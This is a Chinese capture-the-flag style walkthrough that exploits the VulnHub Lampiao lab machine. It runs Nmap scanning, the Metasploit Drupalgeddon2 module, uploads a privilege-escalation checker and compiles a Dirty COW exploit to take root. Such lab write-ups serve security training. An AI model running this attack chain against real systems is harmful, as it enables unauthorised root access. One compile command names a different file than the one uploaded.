脏牛漏洞
又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/
下载好靶机直接在VM虚拟机打开即可,靶机界面如下:
一、信息收集
nmap 192.168.174.0/24
nmap 192.168.174.155 -p1-65535
IP:192.168.174.155
端口:22,80,1898
访问80端口
访问1898端口
web指纹识别,CMS为Drupal
利用kail的msf搜索Drupal漏洞
search drupal
二、漏洞利用
这里使用exploit/unix/webapp/drupal_drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.174.155
set rport 1898
exploit
成功返回会话
上传linux漏洞检测脚本,脚本链接:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
upload /root/linux-exploit-suggester.sh /tmp/1.sh
成功上传
shell会话执行脚本
cd /tmp
chmod +x 1.sh
./1.sh
检测出靶机存在脏牛漏洞
下载exp:https://github.com/gbonacini/CVE-2016-5195
上传到靶机/tmp目录
upload /root/dcow.cpp /tmp/1.cpp
进入shell会话编译exp
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil //编译exp
python -c 'import pty; pty.spawn("/bin/bash")' //将简单的shell转换为完全交互式的TTY
编译成功,交互式sh成功显示,执行dcow(这里成功把root密码改为dirtyCowFun,并不会影响原来的root账号,相当于复制了一个root账号)
成功获取root权限,确认主机为192.168.174.155
成功读取flag